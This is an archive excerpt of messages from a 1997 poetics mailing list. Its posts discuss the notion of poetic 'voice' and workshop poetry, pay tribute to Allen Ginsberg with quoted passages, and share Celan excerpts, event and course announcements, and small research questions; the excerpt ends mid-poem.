in American poetry, isn't Whitman a prime source for "voice" notions? -- seems as if he cultivated those ideas -- or ideas that seem like those ideas

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327. **Laura Moriarty**
CATALOG ON-LINE
Tue 13 May 1997

The catalog of the videotape collection here at the Poetry Center and American Poetry Archives has just gone on-line! This on-line version of our catalog is now the most complete listing available of our videotape holdings. It can be accessed from our web page:

http://www.sfsu.edu./~newlit/welcome.htm

The transition from the original, extremely vexed, dbase document to Filemaker Pro and then onto our web page (thanks to the help of Academic Computing here at SFSU) has been somewhat difficult. The field which lists every poem read by the each reader is the problematic one. Rather than waiting to fix the mistakes remaining in this version, we have chosen to put it up and invite feedback. We will attempt to correct errors as quickly as possible.

Someone else may have posted the information about Robert Duncan, but I didn't see it. He actually read here in October of 1987. It was a moving performance - his last public appearance. He died on February 3, 1988.

http://www.sfsu.edu./~newlit/welcome.htm

↑ Index

328. **David Israel**
Re: the notion of voice
Tue 13 May 1997

---

p.p.s.:

I wrote, << in American poetry, isn't Whitman a prime source for "voice" notions? -- seems as if he cultivated those ideas -- or ideas that seem like those ideas >>

but really shd. withdraw the comment (w/ yer permish), as, on 2nd thought, it (on the whole) so far misses the point as to be a tad stupid

(i.e., self of W was far cry from ego-meisterism here properly in question, ergo prithee pardon such implication if so it seemed)

[end of series]
d.i.

↑ Index

329. linda v. russo
(Fwd) FYI Boston Area Folks
Tue 13 May 1997

Be Warned: this is a long msg. probably of interest only to Boston folks & Media Watchdogs in general:

------- Forwarded Message Follows -------
Date: Mon, 12 May 1997 15:00:21 -0400
From: Stacey Cordeiro [redacted] <[redacted]>
Subject: FW: Boston Media Collective?
To: [redacted]

Hello, all!

My name is Jay -- some of you know me, and some of you don't. I'm a Boston-dweller and occasional freelance writer who has recently become involved in a lot of independent media organizing. Specifically, I'm working on organizing the Direct Action News Center, a virtual media collective that will provide in-the-field coverage of progressive actions, marches, protests and campaigns and distribute the coverage worldwide through the web. As part of our DANC organizing we have been talking a good deal about local media collectives and why there aren't more of them. There are some cities that have very active media collectives that work in different ways to increase communication (and ultimately action) among the people who are involved in the progressive media community. The Toronto Media Collective meets the last Sunday of every month, and from what I hear have contributed to an incredible cross-pollenization of organizations and individuals that in turn has led to an increase of direct actions there. The Los Angeles Alternative Media Network meets monthly and attracts more than 50 people to each meeting. Seattle has an Independent Media Coalition, Philly and New York are holding meetings to form their own media collective, and after a successful romp through the Democratic National Convention and a subsequent burnout, Chicago's Countermedia is revitalizing into a working media collective of its own.

So, what are we doing with ourselves in Boston? Well, there are lots of independent media people out there. Though I've only lived here a couple years and am not around much due to my various occupations, I have crossed paths with

more than enough people who are intereted in real independent media to make me hopeful about the things that we could do if we really put our minds to it. We all do great things on our own, that's for sure, but we all know that working on own has limited possibilities. I believe that our work is important and necessary enough that we should make every effort to take it to a more productive level.

What I'm proposing is that we all come together, at least once, to talk about the possibility of forming a Boston Media Collective in order to regularly cross wires with one another so that we may create a greater spark.

What?? *Another project??* In my already triply overbooked life? Well, not necessarily. A Boston Media Collective could be anything that we want it to be. In fact, we don't have to actually *do* anything as a group, and perhaps we shouldn't. The Toronto Media Collective does not take action together on any issue, as far as I understand, nor do they deal with developing formal decision-making processes and actually agreeing on any one thing. They get together once a month, though, discuss their individual projects, and then brainstorm about ways that they can help each other. The basic act of their meeting has inspired many of them to act together in ways they wouldn't have if they hadn't become involved with the Collective. I believe that coming together once a month as the Boston Media Collective could and should enhance and improve the effectiveness of our current activities (rather than be an activity in and of itself), and could therefore be very beneficial to the Boston activist community.

I propose that we meet on Sunday night, June 8, at 8pm, at my apartment in Brighton (I'll give directions later) to tell each other about our own projects and begin to envision how we can complement each other. (That is just a proposed date and time and place -- if there are any problems or suggestions let me know a.s.a.p.) We can see what happens there and judge whether or not a regular monthly meeting of the minds would make sense.

So, what do you think? Please contact me at this e-mail address ([redacted]) or at [redacted] to give feedback. Also, please spread the word. I am passing this message to people I know who are connected with Radio Free Allston, the Lucy Parsons Center, Homes Not Jails, Food Not Bombs, the Boston Commune, STEP, the Center for Campus Organizing, the Thistle, the National Writers' Union, a variety of public TV and video people and other individuals. Still, not everyone involved with each of these groups will get the message that I send, so spread the message far and wide.

That is all for now. I look forward to meeting those of you whom I don't know already,

Jay

P.S. Unfortunately, due to circumstances beyond my control (my girlfriend got into a phd program in a different city) I'm going to be moving out of Boston in a couple months. Before I go, at the very least I'd love to pull together at least one meeting to talk about the things that a Boston Media Collective could accomplish and to plant the idea of holding future meetings in people's heads. I hate to organize and run, but I figure that it's better to give it one shot and see if anyone wants to run with it. Who knows?

--
linda v. russo
[redacted]

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330. **robert drake**
Re: CATALOG ON-LINE
Tue 13 May 1997

---

laura--

best of luck with this all, a huge project & valuable service...

i just tried it, tho, and all of my searches came up empty... tried duncan, silliman, ginsberg, poetry, reading, and "African American"... so there's probably some bugs... tho it seems to be receiving my request, for example returning:

> *SFSU Search Results*
>
> *Sorry, I didn't find any documents that matched your search for "Robert Duncan"!*
>
> *This search was performed by wwwwais 2.5.*

i spend all day tryin to fix stuff like this at my dayjob, so my sympathies to yrself or yr tech staff...

as a suggestion, tho: praps you could provide a browsable listing of all th holdings? would give folks who arent familiar w/ th collection an idea of whatall you have... just a thot. good luck!

yrs
luigi

> *The catalog of the videotape collection here at the Poetry Center and American Poetry Archives has just gone on-line! This on-line version of our catalog is now the most complete listing available of our videotape holdings. It can be accessed from our web page:*

> *http://www.sfsu.edu./~newlit/welcome.htm*
> *.....*

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331. Piombino/Simon
Re: the notion of voice
Tue 13 May 1997

I agree with Robert Hale that the requirement that some family experience be touched upon is at the heart of what some might call the "non-innovative" or non-experimental poem (expectably,many poets are skeptical about creating hard and fast technical names for non- conformist kind of poetry) I was recently asked to judge manuscripts for a poetry award and this to me is the essence of the narrowness of much of the current poetry I was asked to read. I found myself saying, "mother, father, sister, brother" aloud like a mantra as I went through the manuscripts.The issue isn't only that"voice" is created by reciting these words. It's that foregrounding- almost in a kind of forced self-therapetic mode of expression-documents of one's conflictual official "arrival" in the world of adult living seems to be the ritualistic expectation. I did find one or two manuscripts that broke out of this. The main quality in these was awareness and factoring in of other modes of living and thinking besides ones own, and even more importantly, within ones own, not in a didactic or preachy way but with a credible involvement with some of life's chaos and unpredictability. By the way, the judging is still going on-though manuscripts are no longer being accepted- so I can't yet supply more details.Perhaps I'll I'll mention more about it here when I've heard about the outcome. I would appreciate hearing more about this piece in Poets and Writers that you mentioned. I never found that much in that mag to read in depth- interesting to hear about this. By the way, I remember that you edited and published a poetry magazine awhile back, though I can't at this moment remember its name.

Best wishes,

Nick Piombino

On Tue, 13 May 1997, Robert Hale wrote:

> Mark:
>
> Regarding your post on the origin of "voice" as American poetry episteme or
> belief system. I seem to recall an article in Poets and
Writers from two
> years back that touched on this idea. I can't remember the author, but it
> was a polemic against the workshop/MFA factory.
>

> His most damning evidence was random quotations from "best poetry"
> anthologies of that year, pieces that all more-or-less began with a
> childhood reminiscence or the death of a family member -- ergo workshop/
MFA
> poets are programmed to cover only certain topics, also (and this is where
> his argument was hopelessly flawed) that they lack the experience to write
> about anything else because all they do is sponge off the workshop/MFA
> circuit (too adroit, really). He should have questioned it at the level you
> are contemplating. Regardless of his agenda, I think the notion of "voice"
> you are examining is linked to what he's talking about. Also, I would think
> that the definition of "experience" is key here, as well. I'll try to dig up
> the piece and I'll let you know if I find it.
>
> At 02:38 PM 5/13/97 -0400, you wrote:
> > There is an idea often floated around that the rise of the
> >contemporary "workshop" poem is related to a particular concept of poetic
> >"voice"--in general, that "voice" is an individual matter that a writer
> >finds with practice and time. To a greater or lesser extent, this "voice"
> >is the natural property of the writer in the language--it is his or her
> >"own" voice, albeit one discovered rather than given. Whether anyone
> >actually believes this, or has said so in so many words, is something I'm
> >trying to find out.
> >
> > Is anyone aware of published articles or books that
> >articulate/elaborate/defend this notion of voice, or something similar to
> >it--obviously, my description above is meant to be very general. I would
> >appreciate backchannels with any specific information. I suppose as a list
> >matter it might also be a subject for discussion, but someone could be of
> >most help to me if they have specific information about sources.
> >
> > Thanks in advance for any help.
> >
> > Mark Wallace
> >
> >/----------\
> >| |
> >| [redacted] |
> >| GWU: |
> >| http://gwis2.circ.gwu.edu/~mdw |
> >| EPC: |
> >| http://writing.upenn.edu/epc/authors/wallace |
> >|_____|

> >
> >
>
>
>

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332. **orpheus**
Une Tristesse de Joie pour Allen Ginsberg 1.
Tue 13 May 1997

On Tue, 13 May 1997, orpheus wrote:
> The matrical fissure of schizophrenia, as opposed to paranoiac
> castration; and the line of escape as opposed to the "blue line," the
> blues.
>
> O mother
> farewell
> with a long black shoe
> farewell
> with Communist party and a broken stocking....
> with your sagging belly
> with your fear of Hitler
> with your mouth of bad short stories....
> with your belly of strikes and smokestacks
> with your chin of Trotsky and the Spanish war
> with your voice singing for the decaying overbroken workers....
>
> with your eyes
> with your eyes of Russia
> with your eyes of no money....
> with your eyes of starving India....
> with your eyes of Czechoslovakia attacked by robots....
> with your eyes being led away by policemen to an ambulance
> with your eyes with the pancreas removed
> with your eyes of appendix operation
> with your eyes of abortion
> with your eyes of ovaries removed
> with your eyes of shock
> with your eyes of lobotomy
> with your eyes of divorce....
>

> Why these words, paranoia and schizophrenia, which are like
> talking birds and girls' first names? Why do social investments follow
> this dividing line that gives them a specifically delirous content
> (recreating history in delirium)?
>
> When I write about an author... think of the author you
> are writing about. Think of her so hard that she can no longer be an
> object, and equally so that you cannot identify with her....Give back to
> the author a little of the joy, the energy, the life of love and politics
> that she knew how to give and invent. SO many dead writers must have wept
> over what has been written about them. I hope that Ginsberg will be
> pleased over the book that we did on him, and its for the reason the book
> pleased nobody...Avoid the double shame of the scholar and the
> familiar....

↑ Index

333. **orpheus**

Une Tristesse de Joie pour Allen Ginsberg 2.

Tue 13 May 1997

> *The superiority of Anglo American Literature*
> *To leave, to escape, is to trace a line.... To leave to escape to*
> *leave.... to cross the horizon, enter into another life....It is thus that*
> *Ginsberg really finds himself in the middle of the Indian continent. He*
> *has really crossed the meridian, crossed the line of the horizon.... One*
> *only discovers worlds though a long, broken flight. It is the opposite of*
> *the imaginary Anglo American literature constantly shows these*
> *ruptures,these characters who create their line of flight, whoc reate*
> *through a line of flight.... HArdy, Melville, Stevenson , Woolf, Thomas*
> *Woolf, LAwrence, Fitzgerald, Kerouac. In them everything is a departure,*
> *becoming,*
> *passage,*
>
> *Leap*
> *daemon,*
> *a relationship with the outside (I repeat G.[insberg]*
> *is a man of the real. By which I mean a man of the future real....No more*
> *mirage of the imaginary burdened with identifications, phantasies or*
> *anything of the kind). This fixed point for him was, for him, perhaps*
> *named*
> *love.... They create a new Earth... American literature operates according*
> *to geographical lines: the flight towards the West,the discovery that the*
> *true East is in the West, the sense of frontiers as something to cross, to*
> *push back, to go beyond.*
> *The author creates a world, but there is no world which awaits us*

> *to be created....One must on the contrary speak with, write with.*
>
> *O mother what have I left out*
> *O mother what have I forgotten*
>
> *with your Death full of Flowers*

↑ Index

334. **orpheus**

Une Tristesse de Joie pour Allen Ginsberg3

Tue 13 May 1997

> *with your Death full of Flowers*
>
> *No More to say, and nothing to weep for but the Beings in the*
> *Dream, trapped in its disappearance*
>
> *Love's multitudinous boneyard*
> *of decay,*
> *The spilled milk of heroes*
>
> *Becoming is loving without alcohol, drugs and madness, becoming sober for a life which is richer and richer. This is sympathy, assembling. Making one's bed, the opposite of making a career....*
>
> *Destruction of silk kerchiefs*
> *by dust storm,*
> *Caress of heroes blindfolded to posts*
>
> *We know of no book of love more important, more insinuating than Kerouac's Subterraneans....*
>
> *The void that's highly embraceable*
> *during sleep*
> *Has no location and no fret;*
> *Yet I keep restless mental searching*
> *And geographical meandering*
> *To find the Holy Inside Milk*
> *Demema gave to all.*
>
> *In reality writing does not have an end in itself, precisely because life is not something personal....*
>
> *The line of flight in these creative beings is creative of these*

> *becomings...*
>
> *The wheel of the quivering meat conception*
> *Turns in the void expelling human beings,*
> *Pigs, turtles, frogs, insects, nits,*
> *Mice, lice, lizards, rats, roan*
> *RAcing horses, poxy bucolic pigtics,*
> *Horrible unnameable lice of vultures,*
> *Muderous attacking dog armies*
> *Of Africa, Rhinos roaming in the jungle,*
> *VAst boars and huge gigantic bull*
> *Elephants, rams, eagles, condors,*
> *Pones and Porcupines and Pills -*
> *All the endless conception of living beings*
> *Gnashing everywhere in Consciousness*
> *throughout the ten directions of space*
> *occupying all the quarters in & out,*
> *From supermicroscopic no-bug*
> *To huge Galaxy Lightyear Bowell*
> *Illuminating the sky of one Mind -*
> *Poor! I wish I was free*
> *of that slaving meat wheel*
> *and safe in heaven dead*
>
> *Kerouac's phrases are as sober as a Japanese drawing, a pure line traced by an unsupported hand, which passes across ages and reigns. It would take a true alcoholic to attain that degree of sobriety....*

↑ Index

335. **orpheus**

Une Tristesse de Joie pour Allen Ginsberg4

Tue 13 May 1997

> *Kerouac's phrases are as sober as a Japanese drawing, a pure line traced by an unsupported hand, which passes across ages and reigns. It would take a true alcoholic to attain that degree of sobriety....*
>
> *Strange Anglo-American literature: from Thomas Hardy,from D.H. LAwrence to Malcolm Lowry, from Henry Miller to Allen Ginsberg and JAck Kerouac, men who know how to leave, to scramble the codes, to cause flows to circulate, to traverse the desert of the body without organs....How an author is great because he cannot prevent himself from tracing flows and causing them to circulate.... a syntatical, agrammatical; less by what makes it a signifying thing, but by what causes it to move, to flow, to explode - desire. For literature is like schizophrenia: a process and not a goal, a production and not an expression.*

Where are we going Walt Whitman? The doors close in an hour. Which ways does your beard point tonight?
(I touch your book and dream of our odysse in the supermarket and feel absurd.)
Will we walk all night through solitary streets? The trees add shade to shade, lights out inthe houses, we'll both be lonely.
Wil we stroll dreaming of the lost America of love past blue automobiles in driveways, home to our silent cottage?
Ah, dear father, graybeard, lonely old courage teacher, what America did you have when Charon quit poling his ferry and you got out on a smoking bank and stood watching the boat disappear on the black waters of the Lethe?

Yes Dada would have loved a day like this
with its sweet street carnival
and its too real funeral
just passing through it

with its real dead dancer
so beautiful and dumb
in her shroud
and her last lover lost

Alors,

la,

Il me[nous] faudra errer tout seul.

****

↑ Index

336. **robert drake**
Re: poetry collections/information please
Tue 13 May 1997

just came across this, tho it doesnt look to be a very selective listing:

http://members.aol.com/laughingbr/library.txt

lbd

> *A plea to the list for information!*
> *To the best of my knowledge there's no list available of all poetry secial collections like the Archive at UCSD or Poet's House at U. of Arizona. Obviously such a list would be useful to publishers like me and the poets they publish. Please help me compile one (or inform me if one exists) by front- or backchannelling info. If I get responses I will assemble and send to the list.*
> *Thanks*
>
> *Mark of the Junction*

↑ Index

337. Alan Jennifer Sondheim

Course offering on Net Community, etc. at Naropa - (Alan)

Tue 13 May 1997

-

(This is the nearest I come to a book or reading announcement at the mom- ent. I will be talking about Net community, poetics, software-motivated writing and the performative, avatars, etc.)

Course Offering: Neural Neighbors: Life in the Next Millennium

I am offering a course at the Naropa Institute's School of Continuing Ed- uca- tion, concerned with the present and future development of the Net and Net communities. The description reads as follows; please contact Naropa if you are interested (phone number is below):

Neural Neighbors: Life in the Third Millennium

Over the past 25 years, a revolution in human communication has been spurred on by rapid advances in computer technology. The Internet, now connecting over 50 million people, is radically changing the nature of human relations. No longer separated by physical distanc,e people are meeting, connecting, and cre- ating lasting relationships electronically. Within this medium, the Internet user can create a 'virtual' persona, choosing his or her age, sex, race, history. This 'virtual' reality may in some cases become more 'real' than life away from the machine. Communica- tion in the next millennium may well be among such 'constructed' subjects - people creating their own identities online. Using texts from the Net, as well as theory, this class examines the nature of these new commun- ities, expanded relationships, and the future of the 'self.'

[Note: We shall look at a number of applications, ranging from MOOs to IRC to email lists - covering the various modalities of on-line communities and their de- velopment. We will also be concerned with the political econo- my of the Net,

including the divisions between information-rich and -poor demographics. The participant will receive an overall view of the Net, from its history to current and future developments, with an emphasis on Net culture and its potential. In particular, we shall look at the way Net literature is shaped by the Net, and the potential for alternative styles/ distributions/demographics, and so forth.]

The Naropa Institute is in Boulder, Colorado; the course is offered in The Dairy building, at 2590 Walnut Street, Boulder.

Friday, Saturday, Sunday June 13 - 15
Friday 7:00 - 9:00 pm; Saturday, Sunday 10:00 am - 5:00 pm
ENV028, non-credit $150
Friday night only: $10 / $5 (tickets sold at door only)

Register by calling 303 - 546 - 3578
(Also check out www.naropa.edu.)

↑ Index

338. Maria Damon (Maria Damon)

Re: No prizes

Tue 13 May 1997

---

when u find out abt the rosenbergs, let me know...

At 8:29 AM 5/14/97, [redacted] wrote:
>Hello everyone, it's Kevin Killian. Can any of you brains out there back
>channel me with answers to 3 questions?
>
>1. What was the date of the conviction of Julius and Ethel Rosenberg?
>Were there 2 separate trials or just one? And also, the date of the
>execution(s)? Now that's cheerful, eh?
>
>2. Does anyone know the address of the poet Mark Doty?
>
>3. Or of the novelist Ishmael Reed?
>
>
>No prizes, only thanks from a California air head . . .
>
>Kevin K.

↑ Index

339. **Maria Damon (Maria Damon)**
Re: vernachronism
Tue 13 May 1997

At 1:17 PM 5/14/97, Daniel Bouchard wrote:
>does anyone know when the White House began popularly to be known as "the
>White House?" I thought it was called "the Executive Mansion" until the
>administration of Theodore Roosevelt. But I just heard Thoreau referring to
>it in CAPE COD as the White House.
>
>[redacted]

wow, howdya get to hear thoreau?

↑ Index

340. **Maria Damon (Maria Damon)**
yo, jonathan monroe
Wed 14 May 1997

---

if you're out there, send me your snail mail address so i can send u my bk

↑ Index

341. **Stephen Cope**
Re: the notion of voice
Wed 14 May 1997

It seems that the best place to look for defintions and/or assertions of "voice" and its importance in workshop poems is in workshop texts themselves - i.e. the kind of guidebooks/handbooks etc. that market themselves as such. (I can't unfortunately, name any off hand, but am sure you could get some info. from any number of workshop teachers at any number of universities, community colleges, etc.) Otherwise, Donald Wesling and Tadeusz Slawek's recent _Literary Voice: The Calling of Jonah_ provides some interesting takes on the concept and what they contend is its ongoing value. They argue, in short, that voice mediates the two "minimal" poles of body and text - pure orality and pure textuality - becoming "maximal", however, not in the individual, but in the "bardic voice" - that which speaks for the collectivity, the nation, etc. Theirs is interesting in that they attmept to come to terms with the notion of "voice" through/against recent critiques thereof (Grammatology etc.), using the term both literally (orality, speech, etc) and figuratively (subject, identity, etc). They rely heavily on Henri Meschonnic, a theorist who has done much w/ rhythm/voice/subjectivity, and who has had little if anything translated into English that I know of (btw: if

anyone does know of any such translations, I'd love to hear of them backchannel). In any case, their bibiliography should be helpful, as they breifly touch on both popular and academic studies of voice from various disciplines...

Best,
Stephen Cope

↑ Index

342. orpheus
Re: duplicates of Montage
Wed 14 May 1997

Apologies from Orpheus to All.

CD.

↑ Index

343. George Bowering
Re: tucson reading
Wed 14 May 1997

Anyone who will be going to Bromige's reading/talk. Ask him whether there's any truth to the rumour that he has committed a racy novel called something like __Pickled Old Moondog_

> *talk and poetry reading by david bromige*
>
> *talk: "Building Up the Poem"*
> *friday, may 16, 7:00 p.m.*
> *poetry center annex, 1232 n. cherry*
> *tucson, az*
> *admission $5 at door*
>
> *poetry reading:*
> *saturday, may 17, 5:00 p.m.*
> *dinnerware gallery, 135 e. congress*
> *tucson, az*
> *donations appreciated*
>
> *dan featherston*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

344. **henry**
Re: the notion of voice
Wed 14 May 1997

The Wesling/Slawek bk sounds interesting - another, simpler, place to start might be Eliots short talk, "Three Voices of Poetry". The "bardic" that W/S value might be compared to the "impersonal" voice of communal wisdom that Eliot finds in the greatest dramatists - the poetic voice which is not exactly Shakespeare (or Oxford that is), nor one of his characters exactly, but the voice that says "ripeness is all", etc. Eliot gets into this toward the end of his essay.

Eliot's essay is interesting in part because it's a "talk" - not a tract or a dissertation - the voice of a real, substantial person talking to some other people is the rhetorical ground -

He distinguishes between three voices & then suggests they are not firmly divided, but the "first" voice infuses the rest, etc. The first voice is the poet writing/talking to her/himself, not immediately or directly concerned with an audience. He thinks "lyric" is a confusing term for this - calls it meditative verse. The 2nd voice is poet speaking to an audience - rhetorical, narrative, satirical, didactic, teaching, entertaining, communicating. 3rd is the voice of the poet/dramatist - hidden in the objective form of the play and differentiated speakers.

Anyway, I don't want to run on rehashing this essay - but N. Piombino's point that a lot of "workshop" "voice" poetry is a working out of family dilemmas & "personal maturing" could be usefully related to Eliot's notion that the 1st voice is a working out of an unknown impulse, an impulse to comprehend or bring to form "psychic material" whose ONLY meaning (for the poet) is it's expression, its bringing-to-form, in the poem. And one could take a socio- logical approach and compare the setting for "meditative verse" in previous eras - the function of prayer & psalm for unburdening the heart or dealing with trouble or expressing love in a "personal" way which is yet social - compare this to the academic setting in which "voice" is taught for a living and composed for assignments & graded, etc. - and you begin to see problems with a separate "discipline" of creative writing which in my opinion are not resolved by taking a theoretical approach which designates "voice", or "self" or logos or speech simply as the illusory ideological framework to be jettisoned. I think voice, self, logos, can be taken as GIVEN! Ha ha!! But the impulse for form-creation and where it comes from & what the poet does with it - these are the deep issues for the POET at least.

I recommend Eliot's talk. Also Paul Celan's talk - I forget where, title, etc. - in which in a roundabout way he says that the voice in poetry is what suffuses & then transcends/overcomes the artifice & alienation inherent in all art & representation. I think he does this sort of in terms of a parable, ... maybe Pierre or somebody can fill in here... poetry the culmination or sanction for art... the simple human voice coming full circle... Sandra & Elmo, I'd like you to write papers on this for next semester... - Henry Gould

↑ Index

345. **Piombino/Simon**

Re: the notion of voice

Wed 14 May 1997

On Tue, 13 May 1997, Piombino/Simon wrote:

> *I agree with Robert Hale that the requirement that some family experience be touched upon is at the heart of what some might call the "non-innovative" or non-experimental poem (expectably,many poets are skeptical about*
> *creating hard and fast technical names for non- conformist kind of poetry) I was recently asked to judge manuscripts for a poetry award and this to me is the essence of the narrowness of much of the current poetry I was asked to read. I*
> *found myself saying, "mother, father, sister, brother" aloud like a mantra as*
> *I went through the manuscripts.The issue isn't only that"voice" is created by reciting these words. It's that foregrounding- almost in a kind of forced self-therapetic mode of expression-documents of one's conflictual official*
> *"arrival" in*
> *the world of adult living seems to be the ritualistic expectation. I did find one or two manuscripts that broke out of this. The main quality in these was awareness and factoring in of other modes of living and thinking besides ones*
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> *I would appreciate hearing more about this piece in Poets and Writers that you mentioned.*
> *I never found that much in that mag to read in depth- interesting to hear about this. By the way, I remember that you edited and published a poetry magazine awhile back, though I can't at this moment remember its name.*
>
> *Best wishes,*

Nick Piombino

On Tue, 13 May 1997, Robert Hale wrote:

Mark:

Regarding your post on the origin of "voice" as American poetry episteme or belief system. I seem to recall an article in Poets and Writers from two years back that touched on this idea. I can't remember the author, but it was a polemic against the workshop/MFA factory.

His most damning evidence was random quotations from "best poetry" anthologies of that year, pieces that all more-or-less began with a childhood reminiscence or the death of a family member -- ergo workshop/MFA poets are programmed to cover only certain topics, also (and this is where his argument was hopelessly flawed) that they lack the experience to write about anything else because all they do is sponge off the workshop/MFA circuit (too adroit, really). He should have questioned it at the level you are contemplating. Regardless of his agenda, I think the notion of "voice" you are examining is linked to what he's talking about. Also, I would think that the definition of "experience" is key here, as well. I'll try to dig up the piece and I'll let you know if I find it.

At 02:38 PM 5/13/97 -0400, you wrote:

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Is anyone aware of published articles or books that articulate/elaborate/defend this notion of voice, or something similar to it--obviously, my description above is meant to be very general. I would appreciate backchannels with any specific information. I suppose as a list matter it might also be a subject for discussion, but someone could be of most help to me if they have specific information about sources.

Thanks in advance for any help.

Mark Wallace

/----------\
| |

> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

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346. **Poetics List**

Re: Birthdate // what have I subscribed to?

Wed 14 May 1997

> *So how come the Poetics archive at the EPC now starts in April 1994? One used to be able to go back at least to Peter's post. Did these early "national" posts get lost in the move to a new server or what?*
> *Herb Levy*

The "early" archives remain available via the Poetics page of the EPC:

http://writing.upenn.edu/epc/poetics/early_archive/

↑ Index

347. **Maria Damon**

Re: the notion of voice

Wed 14 May 1997

At 9:46 PM -0400 5/13/97, Piombino/Simon wrote:
>I agree with Robert Hale that the requirement that some family
>experience be touched upon is at the heart of what some might call the
>"non-innovative" or non-experimental poem (expectably,many poets are
>skeptical about
>creating hard and fast technical names for non- conformist kind of
>poetry)

i've found eve sedgwick's "a poem is being written" to be a nice meditation on the link between nuclear family, with its private humiliations and scrutiny, and the lyric. robert lowell's poetry i believe bears this out, as i tried to write about in my lowell section in my book.

↑ Index

348. **oren.izenberg**
Celan
Wed 14 May 1997

Henry,

You may be combining two recollections of Celan's prose: the first, the "parable," is probably "Conversation in the Mountains" (1959)-- certainly "about" voice and poetry, but from an oblique angle:

"'He says, he says...Do you hear me, he says...And Do-you-hear-me, of course, Do-you-hear-me does not say anything, does not answer, because Do-you-hear-me is one with the glaciers, is three in one, and not for men..."

The second, which _is_ a speech: "The Meridian" (1960)--delivered "on the occasion of receiving the Georg Buchner Prize"-- is probably what you mainly had in mind:

"It is true, the poem, the poem today, shows-- and this has only indirectly to do with the difficulties of vocabulary, the faster flow of syntax or a more awakened sense of ellipsis, none of which we should underrate-- the poem clearly shows a strong tendency towards silence.

The poem holds its ground, if you will permit me yet another extremem formulation, the poem holds its ground on its own margin. In order to endure, it constantly calls and pulls itself back from an 'already-no-more' [Schon-nicht-mehr] into a 'still-here' [Immer-noch].

This 'still-here' can only mean speaking. Not language as such, but responding and--not just verbally-- 'corresponding' to something.

In other words: language actualized, set free under the sign of a radical individuation which, however, remains as aware of the limits drawn by language as of the possibilities it opens.

This 'still-here' of the poem can only be found in the work of poets who do not forget that they speak from an angle of reflection which is their own existence, their own physical nature.

This shows the poem yet more clearly as one person's language become shape and, essentially, a presence in the present."

Best,
O.

↑ Index

349. **maz881**
Re: Jenny's First Poetry Reading
Wed 14 May 1997

Dodie,

it's billl. i think you're right about renee gladman being elegant, but more than you...? hmm. i like her idiom chapbook called arlem. here's a slice of one prosoid from it:

someone said convention was the avenue to expression,
that is, if you are thrown by your disposition. A confusion,
I think, of one's story and what it takes of history to
hear it. We are not out to be linear but are linear just
the same so I kind of let my beard grow. . . .

xxxxxxxxxxxxxxxx

Dodie wrote: Re: the "----------" above, I'm at home and only have the first draft of the flyer copy at my disposal. On the flyer Renee is quoted as saying something about how Clamour is a place where "dykes" can experiment and communicate with one another. Though, of course, she's more elegant than my paraphrase.

↑ Index

350. **dbkk**
No prizes
Wed 14 May 1997

Hello everyone, it's Kevin Killian. Can any of you brains out there back channel me with answers to 3 questions?

1. What was the date of the conviction of Julius and Ethel Rosenberg? Were there 2 separate trials or just one? And also, the date of the execution(s)? Now that's cheerful, eh?

2. Does anyone know the address of the poet Mark Doty?

3. Or of the novelist Ishmael Reed?

No prizes, only thanks from a California air head . . .

Kevin K.

↑ Index

351. **dbkk**
Gladman's Clamour
Wed 14 May 1997

At 11:19 AM -0400 5/14/97, [redacted] wrote:
>Dodie,
>
>it's billl. i think you're right about renee gladman being elegant, but more
>than you...? hmm.

Actually, Bill, I found a copy of the flyer (I'm vacationing this week, doing my own elegant or non-elegant writing). Here's what Renee really wrote:

"Clamour's primary focus is to present and encourage experimentation and discourse among dykes."

I was pretty close, don't you think?

And I do hope some of you non-dykes out there come to the reading. This is very interesting work here.

Dodie

↑ Index

352. **Pritchett,Pat**
Re: the not so Roseycrution
Wed 14 May 1997

Kevin,

Ethel & Julius Rosenberg were both executed at Sing Sing (by electrocution) on June 19, 1953. The trial occured in 1951 - I am fairly certain they were tried together.

Patrick Pritchett

↑ Index

353. **Aldon L. Nielsen**
Re: a poem is being beaten
Wed 14 May 1997

On the subject of familiar voice -- these two items appeared in the first issue of _lower limit speech_ -- They are by Laurie Schneider, and I think they sum it up pretty neatly:

_____
Workshop Poems

I. Female

SCENE:
    Grandmother's Kitchen
    Grandmother's Hands

REMEMBRANCE
    Bread, Birth

Epiphany

II. Male

SCENE:
    Grandfather's Plough
    Grandfather's Gun

REMEMBRANCE
    Digging, Death

Epiphany

_____

so, that's the formula -- endless possibilities for variation

↑ Index

354. **Daniel Tessitore**

Re: padgett/voice

Wed 14 May 1997

Ah there's the rub. One finds his/her voice and then what? You're stuck with it!

DT

From: Jordan Davis[SMTP:[redacted]]
Sent: Thursday, May 15, 1997 9:56 PM
To: [redacted]
Subject: Re: voice

The critique of "voice" predates language poetry:

VOICE

I have always laughed
when someone spoke of a young writer
"finding his voice." I took it
literally: had he lost his voice?
Had he thrown it and had it
not returned? Or perhaps they

were referring to his newspaper
The Village Voice? He's trying
to find his _Voice_.
        What isn't
funny is that so many young writers
seem to have found this notion
credible: they set off in search
of their voice, as if it were
a single thing, a treasure
difficult to find but worth
the effort. I never thought
such a thing existed. Until
recently. Now I know it does.
I hope I never find mine. I
wish to remain a phony the rest of my life.

--Ron Padgett (from _Toujours L'Amour_, NY, 1976)

___
Jordan

↑ Index

355. **Daniel Bouchard**
vernachronism
Wed 14 May 1997

---

does anyone know when the White House began popularly to be known as "the White House?" I thought it was called "the Executive Mansion" until the administration of Theodore Roosevelt. But I just heard Thoreau referring to it in CAPE COD as the White House.

[redacted]

↑ Index

356. **Pierre Joris**
Re: a poem is being beaten
Wed 14 May 1997

---

henry wrote:
>
... a poetry-writing german shepherd named Orf.

Carl?

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

357. Daniel Bouchard
rosenbergs
Wed 14 May 1997

This will not help Kevin in his research (sorry, Kevin) but I thought it would be a good opportunity to post a very fine poem.

- db

Rex Morti Tyranus

I.
Finally something the man said
has come true. We don't have
Tricky Dick to push around anymore.

II.
